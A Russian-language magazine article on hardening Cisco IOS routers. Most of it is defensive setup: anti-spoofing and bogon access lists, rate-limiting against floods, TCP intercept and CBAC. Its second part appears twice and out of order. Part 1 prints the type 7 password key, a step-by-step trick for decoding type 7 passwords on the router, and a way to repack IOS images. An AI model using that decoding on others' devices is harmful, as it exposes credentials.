deny ip 50.0.0.0 0.255.255.255
deny ip 100.0.0.0 0.255.255.255
deny ip 101.0.0.0 0.255.255.255
deny ip 102.0.0.0 0.255.255.255
deny ip 103.0.0.0 0.255.255.255
deny ip 104.0.0.0 0.255.255.255
deny ip 105.0.0.0 0.255.255.255
deny ip 106.0.0.0 0.255.255.255
deny ip 107.0.0.0 0.255.255.255
deny ip 108.0.0.0 0.255.255.255
deny ip 109.0.0.0 0.255.255.255
deny ip 110.0.0.0 0.255.255.255
deny ip 111.0.0.0 0.255.255.255
deny ip 112.0.0.0 0.255.255.255
deny ip 113.0.0.0 0.255.255.255
deny ip 175.0.0.0 0.255.255.255
deny ip 176.0.0.0 0.255.255.255
deny ip 177.0.0.0 0.255.255.255
deny ip 178.0.0.0 0.255.255.255
deny ip 179.0.0.0 0.255.255.255
deny ip 180.0.0.0 0.255.255.255
deny ip 181.0.0.0 0.255.255.255
deny ip 182.0.0.0 0.255.255.255
deny ip 183.0.0.0 0.255.255.255
deny ip 184.0.0.0 0.255.255.255
deny ip 185.0.0.0 0.255.255.255
deny ip 197.0.0.0 0.255.255.255
deny ip 223.0.0.0 0.255.255.255
Не забываем:
permit ip any
Собственно, теперь требуется применить список доступа к интерфейсу:
(config-std-nacl)#exit
(config)#interface E0/0
(config-if)#
ip access-group 20 in
Естественно, с таким же успехом мы могли бы отправлять подобные пакеты в «черную дыру», настроив соответствующим образом маршруты, например, для подсети 192.168.0.0/24 так:
(config)#interface Null0
(config-if)#exit
(config)#ip route 192.168.0.0 255.255.255.0 Null0
Как упоминалось выше, путей решения проблемы спуфинга может быть несколько, и вторая из них - использования протокола Cisco Express Forwarding, особого протокола уровня 3, предназначенного для ускоренной коммутации пакетов и используемого в больших ядрах сети. Наша цель его применения будет заключаться в контролировании обратного пути следования пакета, пришедшего на интерфейс с помощью команды конфигурации интерфейса «ip verify unicast
reverse-path». Однако, здесь может быть несколько сложностей, основная из которых - ограничение, заключающееся в необходимости наличия симметричного прямого и обратного пути пакета. В обратном случае маршрутизация может быть нарушена. Проще говоря, я Вас предупредил - будьте осторожны в своих экспериментах. Последнее, что хотелось бы порекомендовать - запретить принимать фрагментированные icmp-пакеты, хотя атаки, основанные на их использовании и потеряли свою актуальность, лишним это не будет:
deny icmp any any fragments
2.Защита от DDoS
Перейдем ко второй части настройке безопасного межсетевого взаимодействия, а именно к защите от распределенных атак отказа в обслуживании, направленных на истощение ресурсов сети. Как известно, в последнее время атаки типа TCP SYN-flood постепенно сходят на нет благодаря стараниям корпорации Microsoft по защите своих операционных систем семейства Windows от бесконтрольного использования сырых сокетов, позволяющих конструировать сетевые пакеты «вручную». Ввиду вышеназванных обстоятельств все большую популярность приобретают атаки типа ICMP/UDP флуд или атаки, направленные на отказ в обслуживании Web-сервисов путем перегрузки POST/GET-запросами. Как и в любом деле, вариантов выхода из ситуации может быть несколько, но всегда есть наиболее простой. Пойдем по пути наименьшего сопротивления и будем пресекать выше названые атаки с помощью QoS. Суть защиты будет состоять в ограничении пропускной способности, доступной для различных сетевых протоколов. Конечно, параметры очередей будут сильно зависеть от общей пропускной способности вашей сети и статистического распределения трафика по типам. Пусть внешний интерфейс имеет канал 10 Mb/s. Для примера поступим следующим образом: ограничим ICMP-трафик до 500 Kb/s, а UDP-трафик - до 2 Mb/s.
!
interface Ethernet0/0
rate-limit input access-group 150 2010000 250000 250000 conform-action transmit exceed-action drop
rate-limit input access-group 160 500000 62500 62500 conform-action transmit exceed-action drop
...
Если бы в нашей сети использовалась многоадресная рассылка, то можно было бы ограничить и ее, допустим, потоком в 2,5 Mb/s:
rate-limit input access-group 170 2500000 187500 187500 conform-action transmit exceed-action drop
Собственно, списки доступа, согласно которым мы будем классифицировать трафик:
!
access-list 150 remark CAR-UDP ACL
access-list 150 permit udp any any
access-list 160 remark CAR-ICMP ACL
access-list 160 permit icmp any any
access-list 170 remark CAR-Multicast ACL
access-list 170 permit ip any 224.0.0.0 15.255.255.255
!
Опять же в плане защиты от DDoS есть еще варианты, один из которых - перехватчики TCP, которые являются достаточно эффективным средством, но относятся только к атаке TCP SYN-flood, направленной на истощение ресурсов системы. Суть работы перехватчиков TCP заключается в том, что маршрутизатор будет выступать неким посредником между сервером, предоставляющим какую-либо службу TCP и клиентом, пытающимся установить соединение. Идея чрезвычайно проста - маршрутизатор, получивший SYN (synchronization) -пакет в ответ на него пытается отправить ответ SYN/ACK к источнику т.е клиенту. Если операция выполняется успешно, маршрутизатор устанавливает соединение с сервером, а затем объединяет воедино оба соединения. Далее сервер и клиент продолжают процесс взаимодействия без участия маршрутизатора. В результате, если SYN-пакет приходит от недостижимого источника, сервер никогда не узнает о том, что была попытка открытия подключения. Перехватчики TCP могут работать в двух режимах: пассивном режиме наблюдения и, собственно, активном - перехвата. По умолчанию перехватчики работают во втором. Процесс настройки банален и прост, сводится он к указанию списка серверов, соединения с которыми требуется перехватывать и введению команды глобальной конфигурации, задействующей перехватчики для заданного списка доступа:
ip tcp intercept list 101
!
access-list 101 permit tcp any 121.132.143.0 0.0.0.255
3.Комплексная защита внутренней сети
Перейдем к последнему пункту безопасного сетевого взаимодействия - комплексной защите внутренней сети. Основным функционалом, используемым нами будет контекстный контроль доступа (Context-Based Access Control
), входящий в состав Cisco IOS Firewall. Вкратце, использование CBAC позволяет обойти ограничения, заложенные в фильтрацию на основе списков доступа, исходя из того, что в отличие от списков доступа, CBAC оперирует не только информацией сетевого уровня, но и, отчасти, уровня приложения. Основной критерий, на котором базируется CBAC является понятие сессии. Исходя из нее, обратный трафик, который в ситуации использования обычного списка доступа должен был бы быть заблокирован, будет пропущен с помощью создания временных разрешающих записей в списке доступа. Проще говоря, все то, что было инициировано и относится к текущей сессии изнутри, вернется обратно, в то время как аналогичные типы трафика извне не будет пропущены. Однако, внимательный читатель мог заметить, что фактически подобное поведение аналогично состояниям соединений related/established:
permit tcp host 192.168.0.5 eq www any established
но прав он будет лишь отчасти, т.к. CBAC имеет намного больший спектр функционала, и способен различить сессии даже мультимедийных протоколов типа H.323, RealAudio, не говоря уже о таких обыденных протоколах как SMTP или FTP. Впрочем, не будем углубляться в подробности, тем более что в любой момент читатель может обратиться к официальному документу Cisco IOS Security Configuration Guide за более подробной информацией, вместо этого перейдем к примеру на основе нашей сети. Для начала определим правило инспектирования myrule трафика с помощью CBAC:
!
ip inspect name myrule ftp
ip inspect name myrule http
ip inspect name myrule realaudio
ip inspect name myrule h323
ip inspect name myrule smtp
ip inspect name myrule tftp
ip inspect name myrule udp
ip inspect name myrule tcp
!
Затем применим правило myrule ко входящему трафику на внутренний интерфейс E0/1:
!
interface Ethernet0/1
description intranet
ip address 121.132.143.1 255.255.255.0
no ip directed-broadcast
no ip proxy-arp
ip inspect myrule in
ip access-group 101 in
no cdp enable
!
Список доступа с номером 111 на внешнем интерфейсе будет фильтровать прямые обращения извне во внутреннюю сеть. Именно в него CBAC будет вносить временные разрешающие записи:
!
interface Ethernet0/0
description extranet to ISP
ip address 213.241.12.5 255.255.255.252
no ip directed-broadcast
no ip proxy-arp
ip inspect myrule out
ip access-group 111 in
no cdp enable
Список доступа за номером 101 будет определять инспектируемый трафик. Вторым его назначением будет антиспуфинг и блокирование «неиспользуемых»/«неизвестных» протоколов:
!
access-list 101 permit tcp 121.132.143.0 0.0.0.255 any
access-list 101 permit udp 121.132.143.0 0.0.0.255 any
access-list 101 permit icmp 121.132.143.0 0.0.0.255 any
access-list 101 deny ip any any
!
А следующий список доступа, применяемый к внешнему интерфейсу будет блокировать все входящие запросы во внутреннюю сеть. Стоит отметить, что в случае использования некоторых протоколов динамической маршрутизации, в частности EIGRP, требуется разрешить их отдельно, так как их применение подразумевает наличие многоадресной рассылки, будьте аккуратны:
!
access-list 111 deny ip 121.132.143.0 0.0.0.255 any
access-list 111 permit igrp any any
Естественно, для того, чтобы иметь рабочие инструменты отладки, требуется разрешить использование некоторых типов пакетов ICMP:
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 administratively-prohibited
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 echo
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 echo-reply
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 packet-too-big
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 time-exceeded
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 traceroute
Ну и наконец финальным аккордом запрещаем все остальное:
access-list 111 deny ip any any
!
Пожалуй, если теперь свести все настройки из первой и второй части статьи, мы получим достаточно безопасную конфигурацию нашего маршрутизатора, обеспечивающего надлежащий уровень защиты пользователей и самого себя от различных видов атак. Конечно, полная безопасность это миф, и даже такая настройка не гарантирует лечение паранойи, ведь нет предела совершенству. А совершенствоваться необходимо постоянно и лучшим источником информации для этого, конечно, является официальная документация, обращайтесь к ней чаще, ведь множество не менее интересного, хотя и реже используемого функционала так и осталась за бортом этой статьи. Всего наилучшего.
Ссылки и источники:
Cisco IOS Security Configuration Guide
Building Bastion Routers Using Cisco IOS
http://www.faqs.org/rfcs/rfc1918.html
http://www.faqs.org/rfcs/rfc2365.html
В прошлой части статьи мы начали настраивать безопасность маршрутизатора с ограничения доступа непосредственно к самому устройству, отключили лишние службы, настроили безопасность SNMP и включили журналирования. Остановились мы на аспекте безопасного межсетевого взаимодействия, которое, подчас, является не менее важным чем безопасность самого маршрутизатора.
1.Защита от подмены ip-адресов или антиспуфинг
Подмена ip-адресов - это настоящий бич интернета, основанного на потоколе ip версии 4. Проблема состоит в том, что чаще всего большинство маршрутизаторов настроены на перенаправление пакетов исходя только из данных в поле адреса назначения заголовка ip. Конечно, проблема заключается не в самом механизме маршрутизации, а в том, что в большинстве сетей абсолютно любой корректно сформированный пакет будет совершенно свободно перенаправлен, если маршрутизатор будет иметь маршрут к адресу назначения, даже если в поле адреса источника заголовка ip будет указан нелегитимный адрес. Подобный нелегитимный (фейк) адрес в условиях нормально функционирования сети обычно не может быть указан в качестве источника пакета и чаще всего причиной его появления может стать лишь то, что кто-то, а точнее что-то не желает показать, откуда в действительности пришел пакет. Проще говоря, причиной появления в сети подобных пакетов чаще всего является вредоносное программное обеспечение, будь то черви, вирусы, спам- или DDoS-боты. Конечно, скрыть их деятельность очень сложно и любой мало-мальски опытный сетевой администратор при желании достаточно быстро обнаружит их сетевую активность. Возьмем, к примеру, процесс рассылки спама. Пусть в данном примере схема сети в точности соответствует рисунку. Чаще всего такой нехорошей затеей, т.е. спамом, будут заниматься управляемые боты, особый класс вредоносного программного обеспечения типа троянов-бекдоров, централизованно управляемых с мастер-сервера. Спам-бот, получив команду от хозяина через мастер-сервер в большом количестве рассылает корреспонденцию, открывая множество tcp-соединений на 25-е порты (SMTP) различных серверов. При этом в кеше маршрутизатора сетевой администратор наблюдает записи подобные этим:
#show ip cash flow
E0/0 86.35.180.4 E0/1 72.80.182.193 06 0C17 0019 7
E0/0 92.83.36.64 E0/1 78.37.213.158 06 E774 0019 2
E0/0 85.140.144.55 E0/1 78.37.213.158 06 CB6A 0019 7
E0/0 88.231.190.7 E0/1 69.13.131.2 06 C211 0019 2
E0/0 83.143.38.195 E0/1 67.18.144.162 06 0C37 0019 2
E0/0 62.66.167.235 E0/1 44.98.128.241 06 714F 0019 6
здесь 0019 - 25-й порт в шестнадцатеричном представлении. Администратор видит, что с интерфейса E0/1, который является в нашем примере внутренним, в большом количестве поступают пакеты, направленные к адресам в интернете, а порт назначения принадлежит протоколу SMTP. Однако, адрес источника никак не мог оказаться таким, ведь внутрення подсеть 121.132.143.0/24! Что же случилось? Мы столкнулись с простейшим примером подмены адреса источника или, проще говоря, спуфинга. Что же делать? Вариантов защиты несколько. Первый из них - ограничить исходящие пакеты на основе ip-адреса источника, исходя из принадлежности адресов к нашей сети:
#conf t
(config)#ip access-list standart 20
(config-std-nacl)#permit 121.132.143.0 0.0.0.255
(config-std-nacl)#deny any
(config-std-nacl)#exit
(config)#interface E0/1
(config-if)#ip access-group 20 in
Таким образом мы ограничим исходящий трафик из нашей сети с адресов, которые фактически нам не принадлежат. Такая концепция как минимум облегчит жизнь таким же как мы сетевым администраторам в деле борьбы с подменой ip-адресов. Теперь перейдем к внешнему интерфейсу. Согласно нашему примеру это интерфейс E0/0. Ограничим входящий трафик с адресов, которые фактически не могут быть источниками для пакетов, приходящих из интернета. Естественно, из внешней сети к нам не могут прийти пакеты, источник которых - наша внутренняя сеть, ограничим их:
#conf t
(config)#ip access-list standart 30
(config-std-nacl)#deny ip 121.132.143.0 0.0.0.255
Затем ограничим адреса, которые согласно RFC 1918 являются «серыми», т.е. немаршрутизируемыми в интернете:
(config-std-nacl)#deny ip 10.0.0.0 0.255.255.255
(config-std-nacl)#deny ip 172.16.0.0 0.15.255.255
(config-std-nacl)#deny ip 192.168.0.0 0.0.255.255
Кроме того, можно заблокировать адреса, являющиеся адресами автоконфигурации. Такие адреса, например, присваиваются компьютерам под управлением операционной системы Windows, настройки сетевого подключения которого обеспечивают присвоение адресов по протоколу DHCP, если в данный момент присвоить адрес не удается (допустим, не доступен dhcp-сервер):
(config-std-nacl)#deny ip 169.254.0.0 0.0.255.255
Ограничим адреса multicast (класс D) и адреса, предназначенные для последующего использования (класс E):
(config-std-nacl)#deny ip 224.0.0.0 15.255.255.255
(config-std-nacl)#deny ip 240.0.0.0 7.255.255.255
Адреса, принадлежащие интерфейсу обратной петли (loopback) и адреса, первые октеты которых нули или все единицы также заблокируем, ибо путь их следования сомнителен:
(config-std-nacl)#deny ip 127.0.0.0 0.255.255.255
(config-std-nacl)#deny ip 0.0.0.0 0.255.255.255
(config-std-nacl)#deny ip host 255.255.255.255
Подсеть, предназначенную для тестирования заблокируем аналогично предыдущим:
(config-std-nacl)#deny ip 192.0.2.0 0.0.0.255
Ну и напоследок ограничим адреса, зарезервированные за организацией IANA и/или так называемые bogons-адреса:
(config-std-nacl)#deny ip 1.0.0.0 0.255.255.255
deny ip 2.0.0.0 0.255.255.255
deny ip 5.0.0.0 0.255.255.255
deny ip 14.0.0.0 0.255.255.255
deny ip 23.0.0.0 0.255.255.255
deny ip 27.0.0.0 0.255.255.255
deny ip 31.0.0.0 0.255.255.255
deny ip 36.0.0.0 0.255.255.255
deny ip 37.0.0.0 0.255.255.255
deny ip 39.0.0.0 0.255.255.255
deny ip 42.0.0.0 0.255.255.255
deny ip 46.0.0.0 0.255.255.255
deny ip 49.0.0.0 0.255.255.255
deny ip 50.0.0.0 0.255.255.255
deny ip 100.0.0.0 0.255.255.255
deny ip 101.0.0.0 0.255.255.255
deny ip 102.0.0.0 0.255.255.255
deny ip 103.0.0.0 0.255.255.255
deny ip 104.0.0.0 0.255.255.255
deny ip 105.0.0.0 0.255.255.255
deny ip 106.0.0.0 0.255.255.255
deny ip 107.0.0.0 0.255.255.255
deny ip 108.0.0.0 0.255.255.255
deny ip 109.0.0.0 0.255.255.255
deny ip 110.0.0.0 0.255.255.255
deny ip 111.0.0.0 0.255.255.255
deny ip 112.0.0.0 0.255.255.255
deny ip 113.0.0.0 0.255.255.255
deny ip 175.0.0.0 0.255.255.255
deny ip 176.0.0.0 0.255.255.255
deny ip 177.0.0.0 0.255.255.255
deny ip 178.0.0.0 0.255.255.255
deny ip 179.0.0.0 0.255.255.255
deny ip 180.0.0.0 0.255.255.255
deny ip 181.0.0.0 0.255.255.255
deny ip 182.0.0.0 0.255.255.255
deny ip 183.0.0.0 0.255.255.255
deny ip 184.0.0.0 0.255.255.255
deny ip 185.0.0.0 0.255.255.255
deny ip 197.0.0.0 0.255.255.255
deny ip 223.0.0.0 0.255.255.255
Не забываем:
permit ip any
Собственно, теперь требуется применить список доступа к интерфейсу:
(config-std-nacl)#exit
(config)#interface E0/0
(config-if)#
ip access-group 20 in
Естественно, с таким же успехом мы могли бы отправлять подобные пакеты в «черную дыру», настроив соответствующим образом маршруты, например, для подсети 192.168.0.0/24 так:
(config)#interface Null0
(config-if)#exit
(config)#ip route 192.168.0.0 255.255.255.0 Null0
Как упоминалось выше, путей решения проблемы спуфинга может быть несколько, и вторая из них - использования протокола Cisco Express Forwarding, особого протокола уровня 3, предназначенного для ускоренной коммутации пакетов и используемого в больших ядрах сети. Наша цель его применения будет заключаться в контролировании обратного пути следования пакета, пришедшего на интерфейс с помощью команды конфигурации интерфейса «ip verify unicast
reverse-path». Однако, здесь может быть несколько сложностей, основная из которых - ограничение, заключающееся в необходимости наличия симметричного прямого и обратного пути пакета. В обратном случае маршрутизация может быть нарушена. Проще говоря, я Вас предупредил - будьте осторожны в своих экспериментах. Последнее, что хотелось бы порекомендовать - запретить принимать фрагментированные icmp-пакеты, хотя атаки, основанные на их использовании и потеряли свою актуальность, лишним это не будет:
deny icmp any any fragments
2.Защита от DDoS
Перейдем ко второй части настройке безопасного межсетевого взаимодействия, а именно к защите от распределенных атак отказа в обслуживании, направленных на истощение ресурсов сети. Как известно, в последнее время атаки типа TCP SYN-flood постепенно сходят на нет благодаря стараниям корпорации Microsoft по защите своих операционных систем семейства Windows от бесконтрольного использования сырых сокетов, позволяющих конструировать сетевые пакеты «вручную». Ввиду вышеназванных обстоятельств все большую популярность приобретают атаки типа ICMP/UDP флуд или атаки, направленные на отказ в обслуживании Web-сервисов путем перегрузки POST/GET-запросами. Как и в любом деле, вариантов выхода из ситуации может быть несколько, но всегда есть наиболее простой. Пойдем по пути наименьшего сопротивления и будем пресекать выше названые атаки с помощью QoS. Суть защиты будет состоять в ограничении пропускной способности, доступной для различных сетевых протоколов. Конечно, параметры очередей будут сильно зависеть от общей пропускной способности вашей сети и статистического распределения трафика по типам. Пусть внешний интерфейс имеет канал 10 Mb/s. Для примера поступим следующим образом: ограничим ICMP-трафик до 500 Kb/s, а UDP-трафик - до 2 Mb/s.
!
interface Ethernet0/0
rate-limit input access-group 150 2010000 250000 250000 conform-action transmit exceed-action drop
rate-limit input access-group 160 500000 62500 62500 conform-action transmit exceed-action drop
...
Если бы в нашей сети использовалась многоадресная рассылка, то можно было бы ограничить и ее, допустим, потоком в 2,5 Mb/s:
rate-limit input access-group 170 2500000 187500 187500 conform-action transmit exceed-action drop
Собственно, списки доступа, согласно которым мы будем классифицировать трафик:
!
access-list 150 remark CAR-UDP ACL
access-list 150 permit udp any any
access-list 160 remark CAR-ICMP ACL
access-list 160 permit icmp any any
access-list 170 remark CAR-Multicast ACL
access-list 170 permit ip any 224.0.0.0 15.255.255.255
!
Опять же в плане защиты от DDoS есть еще варианты, один из которых - перехватчики TCP, которые являются достаточно эффективным средством, но относятся только к атаке TCP SYN-flood, направленной на истощение ресурсов системы. Суть работы перехватчиков TCP заключается в том, что маршрутизатор будет выступать неким посредником между сервером, предоставляющим какую-либо службу TCP и клиентом, пытающимся установить соединение. Идея чрезвычайно проста - маршрутизатор, получивший SYN (synchronization) -пакет в ответ на него пытается отправить ответ SYN/ACK к источнику т.е клиенту. Если операция выполняется успешно, маршрутизатор устанавливает соединение с сервером, а затем объединяет воедино оба соединения. Далее сервер и клиент продолжают процесс взаимодействия без участия маршрутизатора. В результате, если SYN-пакет приходит от недостижимого источника, сервер никогда не узнает о том, что была попытка открытия подключения. Перехватчики TCP могут работать в двух режимах: пассивном режиме наблюдения и, собственно, активном - перехвата. По умолчанию перехватчики работают во втором. Процесс настройки банален и прост, сводится он к указанию списка серверов, соединения с которыми требуется перехватывать и введению команды глобальной конфигурации, задействующей перехватчики для заданного списка доступа:
ip tcp intercept list 101
!
access-list 101 permit tcp any 121.132.143.0 0.0.0.255
3.Комплексная защита внутренней сети
Перейдем к последнему пункту безопасного сетевого взаимодействия - комплексной защите внутренней сети. Основным функционалом, используемым нами будет контекстный контроль доступа (Context-Based Access Control
), входящий в состав Cisco IOS Firewall. Вкратце, использование CBAC позволяет обойти ограничения, заложенные в фильтрацию на основе списков доступа, исходя из того, что в отличие от списков доступа, CBAC оперирует не только информацией сетевого уровня, но и, отчасти, уровня приложения. Основной критерий, на котором базируется CBAC является понятие сессии. Исходя из нее, обратный трафик, который в ситуации использования обычного списка доступа должен был бы быть заблокирован, будет пропущен с помощью создания временных разрешающих записей в списке доступа. Проще говоря, все то, что было инициировано и относится к текущей сессии изнутри, вернется обратно, в то время как аналогичные типы трафика извне не будет пропущены. Однако, внимательный читатель мог заметить, что фактически подобное поведение аналогично состояниям соединений related/established:
permit tcp host 192.168.0.5 eq www any established
но прав он будет лишь отчасти, т.к. CBAC имеет намного больший спектр функционала, и способен различить сессии даже мультимедийных протоколов типа H.323, RealAudio, не говоря уже о таких обыденных протоколах как SMTP или FTP. Впрочем, не будем углубляться в подробности, тем более что в любой момент читатель может обратиться к официальному документу Cisco IOS Security Configuration Guide за более подробной информацией, вместо этого перейдем к примеру на основе нашей сети. Для начала определим правило инспектирования myrule трафика с помощью CBAC:
!
ip inspect name myrule ftp
ip inspect name myrule http
ip inspect name myrule realaudio
ip inspect name myrule h323
ip inspect name myrule smtp
ip inspect name myrule tftp
ip inspect name myrule udp
ip inspect name myrule tcp
!
Затем применим правило myrule ко входящему трафику на внутренний интерфейс E0/1:
!
interface Ethernet0/1
description intranet
ip address 121.132.143.1 255.255.255.0
no ip directed-broadcast
no ip proxy-arp
ip inspect myrule in
ip access-group 101 in
no cdp enable
!
Список доступа с номером 111 на внешнем интерфейсе будет фильтровать прямые обращения извне во внутреннюю сеть. Именно в него CBAC будет вносить временные разрешающие записи:
!
interface Ethernet0/0
description extranet to ISP
ip address 213.241.12.5 255.255.255.252
no ip directed-broadcast
no ip proxy-arp
ip inspect myrule out
ip access-group 111 in
no cdp enable
Список доступа за номером 101 будет определять инспектируемый трафик. Вторым его назначением будет антиспуфинг и блокирование «неиспользуемых»/«неизвестных» протоколов:
!
access-list 101 permit tcp 121.132.143.0 0.0.0.255 any
access-list 101 permit udp 121.132.143.0 0.0.0.255 any
access-list 101 permit icmp 121.132.143.0 0.0.0.255 any
access-list 101 deny ip any any
!
А следующий список доступа, применяемый к внешнему интерфейсу будет блокировать все входящие запросы во внутреннюю сеть. Стоит отметить, что в случае использования некоторых протоколов динамической маршрутизации, в частности EIGRP, требуется разрешить их отдельно, так как их применение подразумевает наличие многоадресной рассылки, будьте аккуратны:
!
access-list 111 deny ip 121.132.143.0 0.0.0.255 any
access-list 111 permit igrp any any
Естественно, для того, чтобы иметь рабочие инструменты отладки, требуется разрешить использование некоторых типов пакетов ICMP:
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 administratively-prohibited
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 echo
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 echo-reply
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 packet-too-big
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 time-exceeded
access-list 111 permit icmp any 121.132.143.0 0.0.0.255 traceroute
Ну и наконец финальным аккордом запрещаем все остальное:
access-list 111 deny ip any any
!
Пожалуй, если теперь свести все настройки из первой и второй части статьи, мы получим достаточно безопасную конфигурацию нашего маршрутизатора, обеспечивающего надлежащий уровень защиты пользователей и самого себя от различных видов атак. Конечно, полная безопасность это миф, и даже такая настройка не гарантирует лечение паранойи, ведь нет предела совершенству. А совершенствоваться необходимо постоянно и лучшим источником информации для этого, конечно, является официальная документация, обращайтесь к ней чаще, ведь множество не менее интересного, хотя и реже используемого функционала так и осталась за бортом этой статьи. Всего наилучшего.
Ссылки и источники:
Cisco IOS Security Configuration Guide
Building Bastion Routers Using Cisco IOS
http://www.faqs.org/rfcs/rfc1918.html
http://www.faqs.org/rfcs/rfc2365.html
Настраиваем неприступный маршрутизатор. Часть 1.
Статья была опубликована в журнале IT-Спец за март 2008 г.
Хотелось бы сразу сказать, что данная статья не претендует на какую-либо уникальность и новизну. Я лишь еще раз повторю то, что говорили уже много раз, однако постараюсь привнести в это сказанное некую изюминку. Проще говоря статья повествует о том, как защищает свои маршрутизаторы автор. Статья рассчитана на человека, который знаком с операционной системой IOS маршрутизаторов Cisco и имеет базовые представления о принципах коммутации, маршрутизации и сетевых протоколах. В основном я буду рассматривать IOS версии 12.4 с функционалом advansed IP services, однако с большой долей вероятности все нижесказанное может быть применено к более старым операционным системам.
0. О том, как надо защищаться.
Основным принципом защиты маршрутизатора является запрет всего, кроме того, что разрешено. Помимо этого хорошей идеей является запрет того функционала, который будет использоваться редко, не имеет смысла в использовании или назначение которого нам не совсем ясно. Конечно, последний пункт должен быть исключением, так как мы всегда можем ознакомиться с огромным набором документации.
И так, план действий защиты таков:
1.Настройка аутентификации и паролей
2.Ограничение доступа к маршрутизатору
3.Отключение лишних служб и включение дополнительных
4.Настройка SNMP
5.Настройка журналирования
1.Операционная система Cisco IOS во многом очень схожа с большинством операцион6ных систем семейства UNIX. Как и в *nix-системах все основные операции по настройке и работе с маршрутизатором происходят посредством взаимодействия с командной оболочкой (CLI). Доступ к командной оболочке можно получить через удаленный терминал (vty), консольный порт (con), либо через модем на порту aux. Чаще всего весь процесс взаимодействия с маршрутизатором происходит через удаленный терминал. Консольный порт применяется лишь в экстренных случаях или в случае острой паранойи. Если маршрутизатор установлен на чужой территории, например вы арендуете место в шкафу, то можно отключить консоль и аuх порты, чтобы предотвратить физический доступ к маршрутизатору. Однако вам тогда будет сложнее самим зайти на него в случае потери удаленного управления. Модем часто применяется как резервный канал доступа к маршрутизатору, но в последнее время его применяют все реже. Существуют два основных режима, в котором можно работать с командной оболочкой: непривилегированный режим (EXEC level) и привилегированный режим (privileged EXEC level). Привилегированный режим позволяет изменять настройки маршрутизатора в режиме конфигурации. По большому счету это очень напоминает непривилегированного пользователя и root. Примерно как обычный пользователь *nix системы использует команду su для авторизации исполнения команд с правами root, в IOS используется команда enable. Всего в IOS доступны 15 уровней приоритетов. Привилегированный режим обычно имеет уровень приоритета 15, в то время как обычный пользователь в непривилегированном режиме имеет уровень 1. Кроме того администратор может задать определенный набор команд, доступный для пользователя в соответствии с его режимом приоритета, например так:
!
enable secret level 4 5 $1$6Dr/$vVMNdSKUfSkF.o9IMasrt1
!
privilege exec level 4 traceroute
privilege exec level 4 ping
privilege exec level 4 clear
privilege exec level 4 show configuration
!
Пароли в конфигурации маршрутизатора могут быть нескольких типов:
- обычные открытые (plain-text) пароли
- type 7 пароли
- type 5 пароли
По-умолчанию в конфигурации маршрутизатора пароли хранятся в открытом тексте и любой, кто имеет доступ к привилегированному режиму командной оболочки или к самому файлу конфигурации может увидеть их просматривая show running-config или show startup-config. Избежать этого можно с помощью кодирования паролей командой
service password-encryption
После применения этой команды все plain-text пароли в конфигурации заменяются на так называемые type 7 пароли, которые представляют из себя набор цифр и заглавных букв от A до F. Хотя формально эти пароли и зашифрованы, назвать шифрованием такой метод сложно так как основан он на применении XOR-подобной функции с ключом
dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
Существует множество утилит для расшифровки type 7 паролей, множество из которых доступно на packetstormsecurity.org и ему подобных сайтах. С таким же успехом пароль может быть раскодирован на самом маршрутизаторе с помощью нехитрой последовательности действий. Для начала включим режим шифрования plain-text паролей и добавим некого тестового пользователя с паролем «passw0rd»:
Router(config)#service password-encryption
Router(config)#username test password passw0rd
Теперь выполним команду show и выведем нашу строку:
Router(config)#do show run | include username
username test password 7 044B0A151C361C5C0D
Затем создадим цепочку ключей и введем type-7 пароль как ключевую строку для него:
Router(config)#key chain decrypt
Router(config-keychain)#key 0
Router(config-keychain-key)#key-string 7 044B0A151C361C5C0D
А теперь с помощью show выведем расшифрованную строку:
Router(config-keychain-key)#do show key chain decrypt
Key-chain decrypt:
****key 1 -- text "passw0rd"
********accept lifetime (always valid) - (always valid) [valid now]
********send lifetime (always valid) - (always valid) [valid now]
Как видим, безопасность type 7 паролей оставляет желать лучшего. Выхода может быть два — один из них оригинальный и нестандартный, другой — соответственно полная его противоположность. В качестве последнего можно использовать type 5 (или так называемые secret) пароли, которые переставляют из себя md5-хеши. Как известно, при достаточной длине пароля взломщик встретится с трудно решаемой вычислительной задачей, чего, в принципе, должно быть достаточно для защиты. Примером type 5 может служить пароль на режим enable:
enable secret 5 $1$3ORt$Pf.hrk2RehgDs3w7L5ER/0
Брать в рассмотрение первый способ рекомендую только в крайнем случае (например, выраженное проявление паранойи). Заключается он в модификации бинарного образа операционной системы маршрутизатора и изменении вышеупомянутого ключа шифрования. Не вдаваясь в подробности, скажу лишь что образ IOS представляет собой запакованный в слегка модифицированный zip-архив бинарный ELF-файл, который очень похож на ядро Linux и других подобных операционных систем. Строка шифрования представлена в нем в открытом виде и для ее модификации можно воспользоваться любым шестнадцатеричным редактором. Единственную проблему может представлять специальное поле контрольной суммы образа, которое необходимо будет переписать после изменения ключа и перепаковки образа. Как для распаковки, так и для корректной упаковки с подсчетом контрольной суммы можно использовать утилиту ciscopack от создателей книги «Hacking Exposed Cisco Networks». Скачать ее можно здесь: http://www.hackingciscoexposed.com/t...scopack.tar.gz.
Пример использования:
usage: ./ciscopack.pl [--unpack=imagename ]
Options:
--upack Upack cisco IOS image
--pack Pack new imagename
--head Head (Self extractor) to pack
--body Body (IOS body) to pack
--readheader Read the file header
--help This message
Естественно, проводить эксперименты рекомендуется не на используемом в активном сетевом взаимодействии маршрутизаторе, так как последствия неправильной модификации могут быть катастрофическими. В своих исследованиях я использовал эмулятор dynamips для запуска образов операционной системы IOS платформы 3725 (c3725-adventerprisek9-mz.124-18.bin) и шестнадцатеричный редактор biew для модификации образа IOS.
ciscopack.pl --unpack c3725-adventerprisek9-mz.124-18.bin --head c3725-adventerprisek9-mz.124-18.bin.head
ciscopack.pl, , V 0.1
Unpacking image: c3725-adventerprisek9-mz.124-18.bin
Written 7078 byte to c3725-adventerprisek9-mz.124-18.bin.head
Magic is found, reading the archive info
Compressed size:81980888 byte. Compressed size:39184467 byte
Compressed checksum: 0xb1dff6e0 Uncompressed checksum: 0x26adfdf2
